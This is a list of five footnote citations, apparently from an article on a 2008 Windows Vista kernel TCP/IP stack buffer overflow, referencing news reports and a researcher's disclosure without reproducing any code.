[1] “Kernel vulnerability found in Vista”, David Meyer, CNet Security, November 22, 2008, (accessed on November 25, 2008)

[2] “Microsoft VISTA TCP/IP stack buffer overflow”, Thomas Unterleitner, November 19, 2008, (accessed on November 25, 2008)

[3] Ibid.

[4] Ibid. Code by Thomas Unterleitner

[5] “Vista kernel is vulnerable”, Egan Orion, The Inquirer, November 24, 2008, (accessed on November 25, 2008)